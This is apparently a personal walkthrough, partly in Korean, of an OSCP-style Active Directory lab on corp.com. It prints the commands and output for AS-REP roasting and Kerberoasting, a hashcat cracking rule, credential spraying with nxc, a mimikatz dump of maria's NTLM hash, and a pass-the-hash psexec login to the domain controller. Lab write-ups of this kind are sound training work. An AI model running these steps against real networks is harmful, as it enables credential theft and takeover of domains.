1. Capstone Exercise: Once VM Group 2 is started, the domain corp.com has been modified. Use the techniques from this Module to obtain access to the user account maria and log in to the domain controller. To perform the initial enumeration steps you can use pete with the password Nexus123!. You’ll find the flag on the Desktop of the domain administrator on DC1. If you obtain a hash to crack, create and utilize a rule file which adds nothing, a “1”, or a ”!” to the passwords of rockyou.txt.

최종 과제: VM Group 2가 시작되면, corp.com 도메인이 변경됩니다. 이 모듈에서 배운 방법들을 사용하여 maria라는 사용자 계정에 접속하고 도메인 컨트롤러에 로그인하세요. 초기 조사를 수행할 때는 pete라는 계정과 Nexus123!라는 비밀번호를 사용할 수 있습니다. 도메인 관리자의 데스크톱에서 해당 플래그를 찾을 수 있습니다. 만약 해시 값을 얻게 되면, rockyou.txt 파일의 비밀번호들에 “1” 또는 “!”를 추가하는 규칙 파일을 만들어 사용하세요.

자격 증명

pete / Nexus123!

ASREP Roasting

impacket-GetNPUsers corp.com/pete:Nexus123! -outputfile asrep_hashes.txt -request -dc-ip 192.168.118.70

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:

Name  MemberOf                                  PasswordLastSet             LastLogon                   UAC      
----  ----------------------------------------  --------------------------  --------------------------  --------
mike                                            2026-06-10 22:09:57.452175  <never>                     0x400200 
dave  CN=Development Department,DC=corp,DC=com  2026-06-10 22:09:56.655294  2026-06-10 22:26:28.905302  0x410200 

ASREP Roasting은 hashcat -m 18200

23

$krb5asrep$23$mike@CORP.COM:53366b50fd78512b87d95631f64cfd61$508a1011ce0a6fddb6fe8bde0e3f61e3de85f4727b69bf1fbb53ce6e3af3e0fb1ccf403747a6e648978c335ebbb06b7298c9e90421efc2f5010017ffec75486d0c8ba8bda271d7935039e99308ced778251a720034b50731b353b0c01fd992f038c8cf309bb0da900050cb6cab1106671ba3aba8c38b10c79c5bbfd7b360b3a26498e7a3fefd581553a09a44d37c076cd6a993b1aed8012c5b2228287ff6b75245a2c2c2b7d310b09ebb01e5f45e7029b799aef28006f0357217072c3f1517998ef681e2561bbc2ad123b1961b0098bf92c28c57e8122bdfa6e5d8332a906d1fde8677d0
$krb5asrep$23$dave@CORP.COM:09d0121e197b1280b621f194ee1e659b$718a03730b961ed7ee8abe25a0acb2c3c81570795ff4c8a360d627d64c4edc55cc33a57dc64c5504d9ddd2d219f12548d86a4ad1711010861517129f864e081610adbec2711c1452faf22f180c031821ff355169143cba6033dcb095d248adf1ad2f3d08a0b799a81c7caf17a4800b2a9f84a5c13cd71efbd6eeaa7d70fbcc2e0723f0a802bb492eb9abe9b6d2952e434a167c5925c2ea5f834d9f8c90eca423841bab5c12e3e046273f14e32e712d05cefbde6deb870d67453b741b226b1affdb10fe905bb34b087f8c3fb8d8834cea7b2ed48cec63501da6ea1f971565180b1a2892b2

bruteForce

custom rule 생성

cat << 'EOF' > append_special.rule
$1
$!
EOF

hashcat -a 0 -m 18200 asrep_hashes.txt rockyou.txt -r append_special.rule --force -O -w 3 --status --status-timer=10

kerberoasting

impacket-GetUserSPNs.py corp.com/pete:Nexus123! -dc-ip 192.168.118.70 -request -outputfile kerberos.hash

kerberoasting은 hashcat -m 13100

23

(Pwn3d!)은 관리자 권한을 의미함, mike는 192.168.118.75 CLIENT75 서버에 로컬 관리자 권한임

┌──(root㉿kali)-[/home/kali/oscp_pen200]
└─# nxc smb 192.168.118.0/24 -u mike -p 'Darkness1099!' -d corp.com                                          
SMB         192.168.118.75  445    CLIENT75         [*] Windows 11 Build 22000 x64 (name:CLIENT75) (domain:corp.com) (signing:False) (SMBv1:None)
SMB         192.168.118.70  445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:corp.com) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         192.168.118.72  445    WEB04            [*] Windows Server 2022 Build 20348 x64 (name:WEB04) (domain:corp.com) (signing:False) (SMBv1:None)
SMB         192.168.118.74  445    CLIENT74         [*] Windows 11 Build 22000 x64 (name:CLIENT74) (domain:corp.com) (signing:False) (SMBv1:None)
SMB         192.168.118.73  445    FILES04          [*] Windows Server 2022 Build 20348 x64 (name:FILES04) (domain:corp.com) (signing:False) (SMBv1:None)
SMB         192.168.118.75  445    CLIENT75         [+] corp.com\mike:Darkness1099! (Pwn3d!)
SMB         192.168.118.70  445    DC1              [+] corp.com\mike:Darkness1099! 
SMB         192.168.118.72  445    WEB04            [+] corp.com\mike:Darkness1099! 
SMB         192.168.118.74  445    CLIENT74         [+] corp.com\mike:Darkness1099! 
SMB         192.168.118.73  445    FILES04          [+] corp.com\mike:Darkness1099! 

xfreerdp3

xfreerdp3 /u:mike /p:Darkness1099! /v:192.168.118.75 /drive:desktop,/home/kali/utill/

mimikatz

utill 경로를 윈도우에서 접근할 수 있음 미미카츠 다운로드

rdp로 접속했을때 CMD, powershell은 반드시 관리자 권한으로 실행해야 함

도메인의 모든 계정 조회

C:\Users\mike\Desktop>net user /domain
The request will be processed at a domain controller for domain corp.com.


User accounts for \\DC1.corp.com

-------------------------------------------------------------------------------
Administrator            dave                     Guest
iis_service              jeff                     jeffadmin
jen                      krbtgt                   maria
mike                     pete                     stephanie
The command completed successfully.

관리자 그룹 확인 mike 이름 존재함

net localgroup administrators

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

Administrator
CORP\dave
CORP\Domain Admins
CORP\jeff
CORP\mike
offsec
The command completed successfully.

mimikatz 실행

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 1147706 (00000000:0011833a)
Session           : Service from 0
User Name         : maria
Domain            : CORP
Logon Server      : DC1
Logon Time        : 6/10/2026 6:10:17 AM
SID               : S-1-5-21-1987370270-658905905-1781884369-24602
        msv :
         [00000003] Primary
         * Username : maria
         * Domain   : CORP
         * NTLM     : 2a944a58d4ffa77137b2c587e6ed7626
         * SHA1     : 334214b2b9e5e6059269ca4e9cb5b16cf779dc07
         * DPAPI    : 39ddd531afec332ab59c0670b61458ad
        tspkg :
        wdigest :
         * Username : maria
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : maria
         * Domain   : CORP.COM
         * Password : (null)

NTLM : 2a944a58d4ffa77137b2c587e6ed7626 사용해서 DC 접속

smb, winrm은 계정이 잠겨있을 상태라 접속 실패함 과도한 브루트포싱은 계정이 잠시 동안 잠겨버림

┌──(root㉿kali)-[/home/kali/oscp_pen200]
└─# nxc smb 192.168.118.70 -u maria -H 2a944a58d4ffa77137b2c587e6ed7626                                                  
SMB         192.168.118.70  445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:corp.com) (si
gning:True) (SMBv1:None) (Null Auth:True)
SMB         192.168.118.70  445    DC1              [-] corp.com\maria:2a944a58d4ffa77137b2c587e6ed7626 STATUS_ACCOUNT_LOCKE
D_OUT
┌──(root㉿kali)-[/home/kali/oscp_pen200]
└─# nxc winrm 192.168.118.70 -u maria -H 2a944a58d4ffa77137b2c587e6ed7626
WINRM       192.168.118.70  5985   DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:corp.com) 
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptog
raphy.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 
48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.118.70  5985   DC1              [-] corp.com\maria:2a944a58d4ffa77137b2c587e6ed7626

impacket-psexec

impacket-psexec -hashes :2a944a58d4ffa77137b2c587e6ed7626 corp.com/maria@192.168.118.70

DC01 접속 성공 및 플래그 획득